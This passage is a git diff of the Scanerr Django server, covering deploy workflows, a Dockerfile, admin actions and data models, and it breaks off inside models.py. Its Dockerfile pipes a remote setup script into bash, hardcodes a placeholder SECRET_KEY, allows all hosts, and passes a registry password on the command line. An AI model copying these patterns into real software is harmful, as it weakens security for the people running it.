diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml new file mode 100644 index 00000000..704b58cf --- /dev/null +++ b/.github/workflows/dev-deploy.yaml @@ -0,0 +1,34 @@ +name: Deploy to dev + +# Controls when the action will run. +on: + # Triggers the workflow on push request on the main branch for changes in the specified paths. + push: + branches: + - dev + paths: + - 'app/**' + - 'Dockerfile' + - 'Dockerfile.dev' + - 'docker-compose.dev.yml' + - '.github/workflows/**' + +jobs: + build: + name: Build + runs-on: ubuntu-latest + timeout-minutes: 30 + steps: + - name: pulling latest dev commit and rebuilding app + uses: appleboy/ssh-action@v1.0.0 + with: + host: ${{ secrets.DEV_HOST }} + username: ${{ secrets.DEV_USER }} + key: ${{ secrets.DEV_KEY }} + command_timeout: 30m + script: | + cd ~/app + git pull origin dev + docker compose -f docker-compose.dev.yml down + docker volume rm app_app app_beat app_celery + docker compose -f docker-compose.dev.yml up -d --build \ No newline at end of file diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml new file mode 100644 index 00000000..aa16f7dc --- /dev/null +++ b/.github/workflows/k8s-deploy.yaml @@ -0,0 +1,76 @@ +# This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and +# deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, +# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions. + +name: Deploy to scanerr-k8s + +# Controls when the action will run. +on: + # Triggers the workflow on push request on the main branch for changes in the specified paths. + push: + branches: + - main + paths: + - 'app/**' + - 'k8s/prod/**' + - 'Dockerfile' + - '.github/workflows/**' + +# A workflow run is made up of one or more jobs that can run sequentially or in parallel. +jobs: + # This workflow contains a single job called "build". + build: + # The type of runner that the job will run on. + runs-on: ubuntu-latest + timeout-minutes: 30 + + # Steps represent a sequence of tasks that will be executed as part of the job + steps: + + # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it. + - name: Checkout main + uses: actions/checkout@main + + # Install doctl. + - name: Install doctl + uses: digitalocean/action-doctl@v2 + with: + token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} + + # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA. + - name: Build container image + run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) . + + - name: Log in to Docker Hub Container Registry with short-lived credentialse + run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }} + + - name: Push image to Docker Hub Container Registry + run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) + + # Update deployment files to reflect new build. + - name: Update app deployment file + run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's||${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml + + - name: Update celery deployment file + run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's||${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml + + - name: Update beat deployment file + run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's||${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml + + - name: Save DigitalOcean kubeconfig with short-lived credentials + run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }} + + # Re-deploy app, celery and beat + - name: Deploy app + run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml + - name: Deploy celery + run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml + - name: Deploy beat + run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml + + - name: Verify app + run: kubectl rollout status deployment/app-deployment + - name: Verify celery + run: kubectl rollout status deployment/celery-deployment + - name: Verify beat + run: kubectl rollout status deployment/beat-deployment diff --git a/.gitignore b/.gitignore index 780009eb..e1253eb3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,22 +1,29 @@ -app/api/utils/testing_stuff.py -app/data* -app/api/utils/__pycache__/tester.cpython-38.pyc +db.sqlite3 .DS_Store + *__pycache__* -db.sqlite3 *.pyc __pycache__ __pycache__/ */__pycache__/* **/__pycache__/ -server/app/env* + env/.env.local env/.env.dev env/.env.prod +env/.env.stage env/.env.prod.db + +app/data* app/static* -Dockerfile.alpine -Dockerfile.dev1 -Dockerfile.dev3 app/api/migrations/*_*.py + k8s/*/*-configs.yaml +k8s/prod/old_configs/* + +app/chromedriver* + +app/.cache* +app/.config* +app/.local* +app/.pki* diff --git a/Dockerfile b/Dockerfile index c1f55754..64a58d79 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,47 +1,115 @@ -FROM python:3.9-slim -ENV PYTHONUNBUFFERED 1 +# pull main python image +FROM python:3.12-slim -# create the app user -RUN addgroup --system app && adduser --system app - -# installing python3 & pip -RUN apt-get update && apt-get install -y python3 python3-pip +# adding labels +LABEL Author="Scanerr" Support="hello@scanerr.io" -# installing system deps -RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ - gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ - libfontconfig +# setting ENVs and Configs +ENV HOME=/app +ENV XDG_CACHE_HOME=$HOME/.cache +ENV DOCKERIZED=yes +ENV DEBIAN_FRONTEND=noninteractive +ENV PYTHONUNBUFFERED=1 +ENV MOZ_NO_REMOTE=1 +ENV MOZ_DISABLE_AUTO_SAFE_MODE=1 +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true +ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable +ENV PYTHONPATH="$HOME:$PYTHONPATH" +ENV NODE_OPTIONS="--max-old-space-size=4080" +ENV DJANGO_ALLOWED_HOSTS="*" +ENV SECRET_KEY="abcdefghijklmno123456789" -# installing node and npm -RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ - && npm install -g n && n lts +# create the app user +RUN addgroup --system app && adduser --system app -# increasing allocated memory to node -RUN export NODE_OPTIONS="--max-old-space-size=4096" +# installing system deps +RUN apt-get update && apt-get install -y --no-install-recommends \ + postgresql \ + postgresql-client \ + gcc \ + make \ + gfortran \ + openssl \ + libpq-dev \ + curl \ + libsm6 \ + libxrender1 \ + libxext6 \ + libgl1 \ + nasm \ + autoconf \ + libtool \ + automake \ + libjpeg-dev \ + libglib2.0-0 \ + libfreetype6 \ + ca-certificates \ + libfontconfig \ + apt-transport-https \ + software-properties-common + +# installing firefox-esr +RUN apt-get update && apt-get install -y --no-install-recommends firefox-esr -# installing lighthouse & yellowlabtools -RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools +# installing google-chrome-stable +RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \ + apt-get install -y ./google-chrome-stable_current_amd64.deb && \ + rm google-chrome-stable_current_amd64.deb +# installing microsoft-edge-stable +RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \ + install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \ + sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \ + /etc/apt/sources.list.d/microsoft-edge.list' && \ + apt-get update && apt-get install -y microsoft-edge-stable -# telling Puppeteer to skip installing Chrome -ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true +# installing node and npm +RUN curl -fsSL https://deb.nodesource.com/setup_current.x | bash - && \ + apt-get install -y --no-install-recommends nodejs && \ + npm install -g --no-cache n && \ + n lts -# telling phantomas where Chromium binary is and that we're in docker -ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium -ENV DOCKERIZED yes +# installing lighthouse & lighthouse-plugin-crux +RUN npm install -g lighthouse lighthouse-plugin-crux -# setting --no-sandbox for Phantomas -RUN chromium --no-sandbox --version +# installing lodash & yellowlabtools +RUN npm install -g lodash yellowlabtools -# installing requirements -COPY ./requirements.txt /requirements.txt -RUN python3 -m pip install -r /requirements.txt +# copying & installing requirements +COPY ./setup/requirements/requirements.txt /requirements.txt +RUN python3.12 -m pip install -r /requirements.txt # setting working dir -RUN mkdir /app COPY ./app /app WORKDIR /app +# setting browser cache dirs +RUN mkdir -p .mozilla .cache + # setting ownership RUN chown -R app:app /app -RUN chown -R app:app /usr/bin/chromium \ No newline at end of file +RUN chown -R app:app /usr/local/bin/lighthouse +RUN chown -R app:app /usr/local/bin/yellowlabtools + +# writing migrations file +RUN python3.12 manage.py makemigrations --no-input + +# collecting static assets +RUN python3.12 manage.py collectstatic --no-input + +# cleaning up +RUN apt-get clean && rm -rf \ + /var/lib/apt/lists/* \ + /tmp/* \ + /var/tmp/* \ + microsoft.gpg + +# setting final user +USER app + +# staring up services +COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh" +ENTRYPOINT [ "/entrypoint.sh" ] + + + diff --git a/Dockerfile.prod b/Dockerfile.prod deleted file mode 100644 index eb8edf96..00000000 --- a/Dockerfile.prod +++ /dev/null @@ -1,52 +0,0 @@ -FROM python:3.9-slim -ENV PYTHONUNBUFFERED 1 - -# create the app user -RUN addgroup --system app && adduser --system app - -# installing python3 & pip -RUN apt-get update && apt-get install -y python3 python3-pip - -# installing system deps -RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ - gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ - libfontconfig git - -# installing node and npm -RUN apt-get update && apt-get install nodejs npm -y \ - && npm install -g n && n lts - -RUN npm cache clean --force - -# increasing allocated memory to node -# RUN export NODE_OPTIONS="--max-old-space-size=7000" -# RUN export NODE_OPTIONS="--stack-size=262000" -ENV NODE_OPTIONS=--max_old_space_size=7000 -ENV NODE_OPTIONS="--max-old-space-size=7000" -# ENV NODE_OPTIONS=--stack-size=262000 - -# installing lighthouse & yellowlabtools -RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools - -# telling Puppeteer to skip installing Chrome -ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true - -# telling phantomas where Chromium binary is and that we're in docker -ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium -ENV DOCKERIZED yes - -# setting --no-sandbox for Phantomas -RUN chromium --no-sandbox --version - -# installing requirements -COPY ./requirements.txt /requirements.txt -RUN python3 -m pip install -r /requirements.txt - -# setting working dir -RUN mkdir /app -COPY ./app /app -WORKDIR /app - -# setting ownership -RUN chown -R app:app /app -RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/LICENSE.md b/LICENSE.md index ea474ece..97c65594 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,9 +1,11 @@ -Copyright (c) 2023 Scanerr +Copyright (c) 2024 Scanerr Scanerr Commercial Software License Terms 1. Order. These terms, together with the order referencing them, make up a software license agreement. The software, the developer, and the customer are all identified on the order. +(i) Software: Scanerr +(ii) Developer: Grey Labs, LLC (https://greylabs.io) 2. Versions. This agreement covers the specific version of the software on the order, plus any new versions of the software that the vendor makes generally available, or specifically provides to the customer, while this agreement continues. 3. Modifications. The customer may make changes to the software’s source code, compile those changes, and run changed versions of the software. 4. Billing. @@ -15,7 +17,7 @@ Scanerr Commercial Software License Terms 6. Use. (a) Permitted Use. The customer may use the software only for its own computing needs and those of its subsidiaries and corporate affiliates. (b) Prohibited Uses. The customer may not: -(i) sell, lease, license, or sublicense the software or documentation +(i) sell, lease, license, or sublicense the software or documentation (ii) allow access to the software by others not licensed under this agreement (iii) share copies of the software or documentation with with others not licensed under this agreement (iv) make so much of the functionality of the software available to others as software-as-a-service that the service competes with the software for customers diff --git a/README.md b/README.md index d7c28503..08ac9f10 100644 --- a/README.md +++ b/README.md @@ -1,146 +1,18 @@ # Scanerr Server (API repo) -[![Build Status](http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square)](https://api.scanerr.io) +![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yaml/badge.svg) -This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. +This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information. -Copyright © Scanerr 2023 +Copyright © Scanerr 2024 ---   -## Table of Contents +## Guides +- [Server Deployment](notes/Deployment.md) +- [k8s Deployment](notes/Kubernetes.md)   - -#### Env's and deployment -- [Scanerr Server (API repo)](#scanerr-server-api-repo) - - [Table of Contents](#table-of-contents) - - [Env's and deployment](#envs-and-deployment) - - [Environment](#environment) - - [Local](#local) - - [Remote](#remote) - - [Scripts](#scripts) - - -  - ---- -  - -## Environment - -Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files. **Never store actual .env's in a repo.** Things to change: -- high level django configs -- admin credentials -- email credentials -- database configs -- google API keys -- stripe keys -- OAuth keys -- twilio credentials -- slack credentials -- s3 remote storage credentials - -  - ---- -  - -## Local -Install and run locally on your machine in a dev environment. - -> Ensure you have Docker and Docker-desktop installed and running on your machine prior to this step. - -```shell -$ pip3 install virtualenv -$ virtualenv appenv -$ source appenv/bin/activate -$ mkdir app -$ git clone https://github.com/Scanerr-io/server.git -``` -*Spin-up the application* -```shell -$ docker compose up --build -``` -*Spin-down the application* -```shell -$ docker compose up down -``` - -  - ---- -  - -## Remote -Install and deploy remotely in a production environment. - -> Ensure you have Docker installed and running on your server prior to this step. - -*Server configurations for Ubuntu 20.04* -``` shell -$ ssh root@your_server_ip -# apt update -# apt upgrade -# adduser {user} -# usermod -aG sudo {user} -# ufw allow OpenSSH -# ufw enable -# su {user} -``` - -*Add user to docker group* -```shell -$ sudo usermod -aG docker {user} -$ newgrp docker -``` - -*Generate SSH keys for GitHub* -``` shell -$ ssh-keygen -t ed25519 -C "your_github_email@example.com" -``` -- press `Enter` 3 times -```shell -$ eval "$(ssh-agent -s)" -$ ssh-add ~/.ssh/id_ed25519 -$ cat ~/.ssh/id_ed25519.pub -``` -- copy key to clipboard and paste in GutHub - - -*Create a dir to clone the app into* -``` shell -$ cd ~ -$ mkdir app -$ cd app -$ git clone https://github.com/Scanerr-io/server.git -``` -*Spin-up the application* -```shell -$ docker compose -f docker-compose.prod.yml up -d --build -``` -*Spin-down the application* -```shell -$ docker compose -f docker-compose.prod.yml down -``` -*Spin-down the application and removes the volumes* -```shell -$ docker-compose -f docker-compose.prod.yml down -v -``` - - -  - ---- - -  - -## Scripts - -*ssh into container* -``` shell -$ docker exec -it /bin/sh -``` diff --git a/app/api/admin.py b/app/api/admin.py index 16e08a0b..8877f97f 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -1,34 +1,36 @@ from django.contrib import admin from .models import * from datetime import datetime +from .v1.ops.services import ( + create_scan, create_test, + delete_site, delete_page, + delete_scan, delete_test, + delete_case, delete_testcase, + crawl_site +) +from .tasks import ( + reset_account_usage, + update_scan_score +) -@admin.register(Site) -class SiteAdmin(admin.ModelAdmin): - list_display = ('site_url', 'user', 'time_created') - search_fields = ('site_url',) - - -@admin.register(Test) -class TestAdmin(admin.ModelAdmin): - list_display = ('id', 'site', 'time_created', 'time_completed', 'type') - search_fields = ('site',) -@admin.register(Scan) -class ScanAdmin(admin.ModelAdmin): - list_display = ('id', 'site', 'time_created', 'time_completed') - search_fields = ('site',) - actions = ['mark_as_completed',] - - def mark_as_completed(self, request, queryset): - queryset.update(time_completed=datetime.now()) @admin.register(Account) class AccountAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'type') search_fields = ('__str__',) + actions = ['reset_usage',] + + def reset_usage(self, request, queryset): + for account in queryset: + reset_account_usage.delay( + account_id=account.id + ) + + @admin.register(Member) @@ -37,25 +39,143 @@ class MemberAdmin(admin.ModelAdmin): search_fields = ('user__username', 'account__name') + + @admin.register(Card) class CardAdmin(admin.ModelAdmin): list_display = ('__str__', 'brand', 'last_four') search_fields = ('last_four',) + + + +@admin.register(Site) +class SiteAdmin(admin.ModelAdmin): + list_display = ('site_url', 'account', 'time_created') + search_fields = ('site_url', 'account') + actions = ['scan_sites', 'test_sites', 'delete_sites', 'crawl_sites'] + + def crawl_sites(self, request, queryset): + for site in queryset: + crawl_site( + id=site.id, + account=site.account + ) + + def scan_sites(self, request, queryset): + for site in queryset: + create_scan( + site_id=site.id, + user_id=site.account.user.id + ) + + def test_sites(self, request, queryset): + for site in queryset: + create_test( + site_id=site.id, + user_id=site.account.user.id + ) + + def delete_sites(self, request, queryset): + for site in queryset: + delete_site( + id=site.id, + account=site.account + ) + + + + +@admin.register(Page) +class SiteAdmin(admin.ModelAdmin): + list_display = ('page_url', 'account', 'time_created') + search_fields = ('page_url', 'account') + actions = ['scan_pages', 'test_pages', 'delete_pages',] + + def scan_pages(self, request, queryset): + for page in queryset: + create_scan( + page_id=page.id, + user_id=page.account.user.id + ) + + def test_pages(self, request, queryset): + for page in queryset: + create_test( + page_id=page.id, + user_id=page.account.user.id + ) + + def delete_pages(self, request, queryset): + for page in queryset: + delete_page( + id=page.id, + account=page.account + ) + + + + +@admin.register(Test) +class TestAdmin(admin.ModelAdmin): + list_display = ('id', 'page', 'time_created', 'time_completed', 'type') + search_fields = ('page',) + actions = ['delete_tests',] + + def delete_tests(self, request, queryset): + for test in queryset: + delete_test( + id=test.id, + account=test.page.account + ) + + + +@admin.register(Scan) +class ScanAdmin(admin.ModelAdmin): + list_display = ('id', 'page', 'time_created', 'time_completed') + search_fields = ('page',) + actions = ['delete_scans', 'mark_as_completed', 'add_scan_score' ] # NEW!!! + + def delete_scans(self, request, queryset): + for scan in queryset: + delete_scan( + id=scan.id, + account=scan.page.account + ) + + def add_scan_score(self, request, queryset): # NEW!!! + for scan in queryset: + update_scan_score.delay( + scan_id=scan.id + ) + + def mark_as_completed(self, request, queryset): + queryset.update(time_completed=datetime.now()) + + + + @admin.register(Report) class ReportAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'user') + + @admin.register(Log) class LogAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'status', 'user') + + @admin.register(Schedule) class ScheduleAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created', 'status', 'user') + list_display = ('__str__', 'time_last_run', 'status', 'user', 'time_created') + + @admin.register(Automation) @@ -63,19 +183,50 @@ class AutomationAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'schedule', 'user') + + @admin.register(Process) class ProcessAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created', 'time_completed', 'progress', 'successful') + list_display = ('__str__', 'time_created', 'time_completed', 'progress', 'success') + + @admin.register(Case) class CaseAdmin(admin.ModelAdmin): list_display = ('__str__', 'user', 'time_created',) + actions = ['delete_cases',] + + def delete_cases(self, request, queryset): + for case in queryset: + delete_case( + id=case.id, + account=case.account + ) + + @admin.register(Testcase) class TestcaseAdmin(admin.ModelAdmin): list_display = ('__str__', 'user', 'time_created', 'time_completed',) + actions = ['delete_testcases',] + + def delete_testcases(self, request, queryset): + for testcase in queryset: + delete_testcase( + id=testcase.id, + account=testcase.account + ) + + + + +@admin.register(Issue) +class IssueAdmin(admin.ModelAdmin): + list_display = ('__str__', 'account', 'time_created', 'status',) + + @admin.register(Mask) @@ -88,4 +239,8 @@ def mark_as_inactive(self, request, queryset): queryset.update(active=False) def mark_as_active(self, request, queryset): - queryset.update(active=True) \ No newline at end of file + queryset.update(active=True) + + + + \ No newline at end of file diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py index 77c68bd6..e5f9a9c5 100644 --- a/app/api/management/commands/create_admin.py +++ b/app/api/management/commands/create_admin.py @@ -5,6 +5,12 @@ from ...utils.verify import verify import os + + + + + +# creates a new Admin user if None exists class Command(BaseCommand): def handle(self, *args, **options): diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py deleted file mode 100644 index c85d2705..00000000 --- a/app/api/management/commands/driver_p_test.py +++ /dev/null @@ -1,14 +0,0 @@ -from ...utils.driver_p import driver_test -from django.core.management.base import BaseCommand -import asyncio - -# testing puppeteer, pyppeteer, and chromium installation and configs - -class Command(BaseCommand): - - def handle(self, *args, **options): - asyncio.run(driver_test()) - - - - diff --git a/app/api/management/commands/driver_s_test.py b/app/api/management/commands/driver_test.py similarity index 83% rename from app/api/management/commands/driver_s_test.py rename to app/api/management/commands/driver_test.py index 3ae6438a..1fe02b82 100644 --- a/app/api/management/commands/driver_s_test.py +++ b/app/api/management/commands/driver_test.py @@ -1,8 +1,12 @@ -from ...utils.driver_s import driver_test +from ...utils.driver import driver_test from django.core.management.base import BaseCommand -# testing selenium, chromedriver, and chromium installation and configs + + + + +# testing selenium, chromedriver, and chromium installation and configs class Command(BaseCommand): def handle(self, *args, **options): diff --git a/app/api/management/commands/terminate_worker.py b/app/api/management/commands/terminate_worker.py new file mode 100644 index 00000000..84804dfb --- /dev/null +++ b/app/api/management/commands/terminate_worker.py @@ -0,0 +1,74 @@ +from scanerr import celery +from django.core.management.base import BaseCommand +import time, os + + + + + + +# init warm shutdown (prevent new task acceptance) +class Command(BaseCommand): + + def handle(self, *args, **options): + + # get worker / pod name + default_worker = 'scanerr-celery' + if os.environ.get('THIS_POD_NAME'): + default_worker = str(os.environ.get('THIS_POD_NAME')) + + # get celery worker + this_worker = f"celery@{default_worker}" + + # sending initial SIGTERM to celery worker for warm-shutdown + celery.app.control.broadcast('shutdown', destination=[this_worker]) + + + + +# check if current tasks have completed +def wait_for_tasks_to_complete(): + + # get worker / pod name + default_worker = 'scanerr-celery' + if os.environ.get('THIS_POD_NAME'): + default_worker = str(os.environ.get('THIS_POD_NAME')) + + # get celery worker + this_worker = f"celery@{default_worker}" + + def get_task_list(): + + # set default + tasks = 0 + + try: + # Inspect all nodes. + i = celery.app.control.inspect() + + # Tasks received, but are still waiting to be executed. + reserved = i.reserved()[this_worker] + print(f'Reserved tasks -> {str(reserved)}') + + # Active tasks + active = i.active()[this_worker] + print(f'Active tasks -> {str(reserved)}') + + # Sum all tasks + tasks = len(active) + len(reserved) + + except Exception as e: + print(e) + + # return tasks count + return int(tasks) + + # get length of active and reserved task lists + tasks = get_task_list() + + # waiting for tasks to complete + while tasks > 0: + time.sleep(10) + tasks = get_task_list() + + \ No newline at end of file diff --git a/app/api/management/commands/wait_for_db.py b/app/api/management/commands/wait_for_db.py index c5edb897..def8f534 100644 --- a/app/api/management/commands/wait_for_db.py +++ b/app/api/management/commands/wait_for_db.py @@ -3,8 +3,13 @@ from django.db.utils import OperationalError from django.core.management import BaseCommand + + + + + +# Django command to pause execution until db is available class Command(BaseCommand): - """Django command to pause execution until db is available""" def handle(self, *args, **options): self.stdout.write('Waiting for database...') diff --git a/app/api/migrations/__init__.py b/app/api/migrations/__init__.py old mode 100644 new mode 100755 diff --git a/app/api/models.py b/app/api/models.py index 72e5b54d..a275773e 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -1,30 +1,35 @@ from django.db import models -from django.db import models from django.utils import timezone from django.urls import reverse from django.contrib.auth.models import User from datetime import datetime from django.contrib.postgres.fields import JSONField +from scanerr import settings import uuid + + + + def get_info_default(): info_default = { 'latest_scan': { 'id': None, 'time_created': None, 'time_completed': None, + 'score': None, }, 'latest_test': { 'id': None, 'time_created': None, 'time_completed': None, - 'score': None + 'score': None, + 'status': None }, 'lighthouse': { 'average': None, 'seo': None, - 'pwa': None, 'crux': None, 'performance': None, 'accessibility': None, @@ -33,7 +38,7 @@ def get_info_default(): 'yellowlab': { 'globalScore': None, 'pageWeight': None, - 'requests': None, + 'images': None, 'domComplexity': None, 'javascriptComplexity': None, 'badJavascript': None, @@ -42,17 +47,34 @@ def get_info_default(): 'badCSS': None, 'fonts': None, 'serverConfig': None, - }, - 'status': { - 'health': None, - 'badge': 'neutral', + } + } + return info_default + + + + +def get_small_info_default(): + info_default = { + 'latest_scan': { + 'id': None, + 'time_created': None, + 'time_completed': None, 'score': None, }, + 'latest_test': { + 'id': None, + 'time_created': None, + 'time_completed': None, + 'score': None, + 'status': None + } } return info_default + def get_lh_delta_default(): lh_delta_default = { "scores": { @@ -60,22 +82,23 @@ def get_lh_delta_default(): "performance_delta": None, "accessibility_delta": None, "best-practices_delta": None, - "pwa_delta": None, "crux_delta": None, "average_delta" : None, "current_average": None, }, + "audits": None } return lh_delta_default + def get_yl_delta_default(): yl_delta_default = { "scores": { "average_delta": None, "pageWeight_delta": None, - "requests_delta": None, + "images_delta": None, "domComplexity_delta": None, "javascriptComplexity_delta": None, "badJavascript_delta": None, @@ -85,11 +108,13 @@ def get_yl_delta_default(): "fonts_delta": None, "serverConfig_delta": None, }, + "audits": None } return yl_delta_default + def get_lh_default(): lh_default = { "scores": { @@ -97,29 +122,22 @@ def get_lh_default(): "performance": None, "accessibility": None, "best_practices": None, - "pwa": None, "crux": None, "average": None }, - "audits": { - "seo": [], - "performance": [], - "accessibility": [], - "best-practices": [], - "pwa": [], - "crux": [] - }, + "audits": None, } return lh_default + def get_yl_default(): yl_default = { "scores": { "globalScore": None, "pageWeight": None, - "requests": None, + "images": None, "domComplexity": None, "javascriptComplexity": None, "badJavascript": None, @@ -129,23 +147,13 @@ def get_yl_default(): "fonts": None, "serverConfig": None, }, - "audits": { - "pageWeight": [], - "requests": [], - "domComplexity": [], - "javascriptComplexity": [], - "badJavascript": [], - "jQuery": [], - "cssComplexity": [], - "badCSS": [], - "fonts": [], - "serverConfig": [], - }, + "audits": None, } return yl_default + def get_expressions_default(): expressions_default = { 'list': [ @@ -161,6 +169,7 @@ def get_expressions_default(): + def get_actions_default(): actions_default = { 'list': [ @@ -199,6 +208,7 @@ def get_steps_default(): + def get_scores_default(): scores_default = { 'html': None, @@ -211,6 +221,7 @@ def get_scores_default(): + def get_slack_default(): slack_default = { "slack_name": None, @@ -223,6 +234,8 @@ def get_slack_default(): return slack_default + + def get_tags_default(): tags_default = None, return tags_default @@ -230,20 +243,50 @@ def get_tags_default(): +def get_default_configs(): + configs = settings.CONFIGS + return configs + + + + +def get_usage_default(): + usage = { + 'scans': 0, + 'tests': 0, + 'testcases': 0, + 'scans_allowed': 30, + 'tests_allowed': 30, + 'testcases_allowed': 15, + } + return usage + + + + class Account(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + phone = models.CharField(max_length=50, serialize=True, null=True, blank=True) active = models.BooleanField(default=False, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free') code = models.CharField(max_length=1000, serialize=True, null=True, blank=True) max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1) + max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3) + max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=0) + retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3) cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0) + interval = models.CharField(max_length=50, serialize=True, null=True, blank=True, default='month') + usage = models.JSONField(serialize=True, null=True, blank=True, default=get_usage_default) slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default) + configs = models.JSONField(serialize=True, null=True, blank=True, default=get_default_configs) + meta = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): return self.user.email @@ -282,14 +325,15 @@ def __str__(self): - class Site(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True) + time_crawl_completed = models.DateTimeField(serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) - info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default) + info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default) tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) def __str__(self): @@ -297,16 +341,35 @@ def __str__(self): + +class Page(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) + page_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + + def __str__(self): + return f'{self.page_url}' + + + + class Scan(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) + page = models.ForeignKey(Page, on_delete=models.CASCADE, serialize=True, blank=True) paired_scan = models.ForeignKey('self', on_delete=models.SET_NULL, serialize=True, null=True, blank=True) type = models.JSONField(serialize=True, null=True, blank=True) time_created = 